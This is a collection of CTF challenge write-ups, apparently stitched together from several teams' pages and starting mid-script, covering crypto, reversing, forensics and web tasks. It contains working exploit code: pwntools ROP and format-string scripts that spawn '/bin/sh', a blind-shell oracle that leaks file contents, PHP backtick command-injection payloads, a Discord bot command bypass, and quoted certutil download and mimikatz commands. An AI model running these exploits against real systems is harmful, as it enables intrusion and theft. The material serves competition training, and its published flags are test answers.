key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext)
if __name__ == "__main__": main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))```
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes.
I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))```
Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}`
## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
pop_rdi = 0x00000000004008f3main = exe.symbols["main"]
payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}")
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}```
Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`.
### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
io = start()
io.recvline()
writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;")
io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}```
Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload.
## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`.
I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target.
The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}`
Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256
ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349"
def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return ""
def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)])
known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc.
By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff.
We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}`
### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield```
and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}`
### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e}
### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`.
At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them.
The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings.
Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None
def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")```
Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag:
`ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}`
### dumb-discordWe get a file to reverse: `server.cpython-36.pyc`
This is a Python bytecode file that is easy to decompile using *Uncompyle6*
```shelluncompyle6 server.cpython-36.pyc > server.py```
When looking at the code we can see that this is a Discord bot
```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get
def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))
def test(s): data = obfuscate(s.encode()) return data
intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/')
@client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id))
@client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong
@client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag```
The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}`
After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay
We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role.
My guess is that this is the ID of the bot.
But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0
This user is called `DCTFTargetWhyNot`. Lets invite it to our own server

Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command.
However, there are two replace methods that removes `/s基ay` and `/getflag` from our message.
We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase.

Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier:
`ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}`
## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding.
the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files:
```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png```
with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image
def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])])
def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 )
pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}")
out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out
import re
def main(file_list): with open(file_list, "r") as f: files = f.readlines()
cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename)
fixed = convert_colors(filename)
qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break
from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data
from pprint import pprint pprint(res)
flag = "".join([res[i] for i in range(1, 69+1)]) print(flag)
if __name__ == "__main__": main("files.txt")```
`CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
|
# Hash Browns
 
```txtThanks to your help, we have found evidence relating to the unF0r7un@t3s at the location you uncovered in in "(un)F0r7un@t3". We apprehended a couple subjects. It turns out they were planning something bigger, and that was only the beginning.We found a drive containing password-encrypted, and managed to find the passwords hash, located in hash.txt below.We have reason to believe that the password starts with the name of a city (in lowercase) in France (which is the country they attacked last), and ends with up to 7 numbers. For example: paris1337 (don’t try that that’s not the flag). Please decrypt the password.- YoshiBoi#2008```
---
Since it says `name of a city in France` we downloaded [fr.csv](./fr.csv), a file containing the biggest cities of France. Then we wrote [exploit.py](./exploit.py) to brute force compare hashes with the one from [hash.txt](./hash.txt).
Result: genoble38100
`CYCTF{grenoble38100}`
|

Upon connecting with the server, the shell is awaiting input from the user. However, when we enter any commands, the shell does not return any output except for **Succcess!** or **Fail!** depending on the validity of the command.
For example:```shell$ lsSuccess!$ lFailed!```
At first, this does not seem very helpful but we can actually use this to find some information about the shell that we are running on. We can use the **find** command to check for files and `find flag.txt` returns Success. Great, now we already know that there is a file called **flag.txt**.
Our next step is to read the file:
Printing the flag will not bring us closer to the goal since it will only return Success. We can, however, check if a given substring -- say $a$ -- is in the flag. If the flag contains $a$, then we execute a valid command and the console will return Success. If the flag does not contain $a$, we need to fail such that the console returns Fail.
We can do this using the **grep** command but we might run into some issues with regular expressions since we don't know if the flag contains any special regex characters like .,^\$. To avoid any problems here, we can use **fgrep** interprets our substring without any special characters. We will use this method a couple of times for this challenge.
Checking if our substring check works: We count the number of occurrences of the substring. If the flag.txt contains exactly one match, we will execute `echo "T"` but if it does not, we will execute the command `"F"` which will fail.```shellif fgrep -c "a" "flag.txt"; then echo "T"; else "F"; fiSuccess!if fgrep -c "c" "flag.txt"; then echo "T"; else "F"; fiFail!```
We can now expand our substring to the left and right until we found the whole content of flag.txt:
```pythonimport pwnimport string
pwn.context.log_level = 'error'sh = pwn.remote('tasks.kksctf.ru', 30010)r = sh.recvuntil("$ ")
alphabet = '_0123456789?,'+string.ascii_lettersflag = ''while True: #Find the first matching character of the flag and then build the rest of the flag (to the right) for i in range(len(alphabet)): msg = 'if fgrep -c "{}" "flag.txt"; then echo "T"; else "F"; fi'.format((flag+alphabet[i])) sh.sendline(msg) response = sh.recvuntil('$ ') if "Success!" in response.decode(): flag += alphabet[i] break
#If we have no match, we found the end of the flag. Now we need the start for i in range(len(alphabet)): msg = 'if fgrep -c "{}" "flag.txt"; then echo "T"; else "Fail"; fi'.format((alphabet[i]+flag)) sh.sendline(msg) response1 = sh.recvuntil('$ ') if "Success!" in response1.decode(): flag = alphabet[i] + flag break print(flag)```
Eventually, we will find that the content of the flag.txt file is:
```Look_around,maybe_here?```
We can validate that there is nothing more in this file by counting the lines and the number of characters in the file:
```shellif [[ `wc -l flag.txt | awk '{print $1}'` -eq 1 ]]; then echo "True"; else echo "false"; fiSuccess!if [[ `wc -m temp.txt | awk '{print $1}'` -eq 24 ]]; then echo "True"; else echo "false"; fiSuccess!```
Unfortunately, the challenge is not over yet and "Look_around,maybe_here?" is not the flag. We will follow the instructions that the flag.txt file gave us and look around using our $if else$-pattern and the ls command to explore the other files in the folder.
```shellif ls | fgrep -c 'm'; then echo 'T'; else ech; fiSuccess!```
We can manually look for a substring which a substring of a folder and not "flag.txt". We will find the folder `maybehere` and also a file called `server.py` which we can ignore.
```pythonimport pwnimport string
pwn.context.log_level = 'error'sh = pwn.remote('tasks.kksctf.ru', 30010)r = sh.recvuntil("$ ")
alphabet = '_0123456789?,'+string.ascii_lettersfolder = 'b'while True: #Find the first matching character of the flag and then build the rest of the flag (to the right) for i in range(len(alphabet)): msg = "if ls | fgrep -c '{}'; then echo 'T'; else ech; fi".format(folder+alphabet[i]) sh.sendline(msg) response = sh.recvuntil('$ ') if "Success!" in response.decode(): folder += alphabet[i] break
#If we have no match, we found the end of the flag. Now we need the start for i in range(len(alphabet)): msg = "if ls | fgrep -c '{}'; then echo 'T'; else ech; fi".format(alphabet[i] + folder) sh.sendline(msg) response1 = sh.recvuntil('$ ') if "Success!" in response1.decode(): folder = alphabet[i] + folder break print(folder)```
With a slight modification of the ls command, we can find that the `maybehere` folder also contains a file called `flag.txt`:```shellif ls maybehere | fgrep -c 'm'; then echo 'T'; else ech; fi```
If we now run our code with the correct path, we get the correct flag! However, at some point, we will be prompted with the message
**You can solve this task with less symbols :)**
To work around this, we will limit the number of characters that we send at a time:
```pythonimport pwnimport string
pwn.context.log_level = 'error'sh = pwn.remote('tasks.kksctf.ru', 30010)r = sh.recvuntil("$ ")
alphabet = '_0123456789'+string.ascii_lettersflag = ''while True: #Find the first matching character of the flag and then build the rest of the flag (to the right) for i in range(len(alphabet)): msg = 'if fgrep -c "{}" "maybehere/flag.txt"; then echo "T"; else "Fail"; fi'.format((flag+alphabet[i])[-20:]) sh.sendline(msg) response = sh.recvuntil('$ ') if "Success!" in response.decode(): flag += alphabet[i] break
#If we have no match, we found the end of the flag. Now we need the start for i in range(len(alphabet)): end = 20 msg = 'if fgrep -c "{}" "maybehere/flag.txt"; then echo "T"; else "Fail"; fi'.format((alphabet[i]+flag)[:20]) sh.sendline(msg) response1 = sh.recvuntil('$ ') if "Success!" in response1.decode(): flag = alphabet[i] + flag break print(flag)```
1_ 11_s 311_s2 H311_s2c sH311_s2cK _sH311_s2cKs D_sH311_s2cKs_ nD_sH311_s2cKs_b 1nD_sH311_s2cKs_b4 l1nD_sH311_s2cKs_b4t Bl1nD_sH311_s2cKs_b4t_ Bl1nD_sH311_s2cKs_b4t_Y Bl1nD_sH311_s2cKs_b4t_Y0 Bl1nD_sH311_s2cKs_b4t_Y0U Bl1nD_sH311_s2cKs_b4t_Y0U_ Bl1nD_sH311_s2cKs_b4t_Y0U_a Bl1nD_sH311_s2cKs_b4t_Y0U_ar Bl1nD_sH311_s2cKs_b4t_Y0U_ar3 Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_ Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_a Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_am Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_ama Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz1 Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19 Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g Finally we get the correct flag:
**Bl1nD_sH311_s2cKs_b4t_Y0U_ar3_amaz19g** |
Write the secret value to the right location, smash the stack, use the visualization as an info leak, build the ROP chain.https://starfleetcadet75.github.io/posts/pbctf-2020-amazing-rop/ |
# Defcamp 2020 writeups :triangular_flag_on_post:
## Team information**Team name:** bootplug
**Country**: Norway
**CTFTime profile**: https://ctftime.org/team/81341
**Authors**zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve `inorder`
---
## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it

This **GET** request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format```
`CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}`
### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}`
### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js```
Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes```
### spy-agency
Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip```
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
```javapackage com.example.hidden_place;
import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}```
However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut.
Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut')
## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php`
```php 15: print("cmd too long!") return
data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data)
tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret)
url += secret print(url)
params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content)
req = requests.get(url) print(req.content)
if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")```
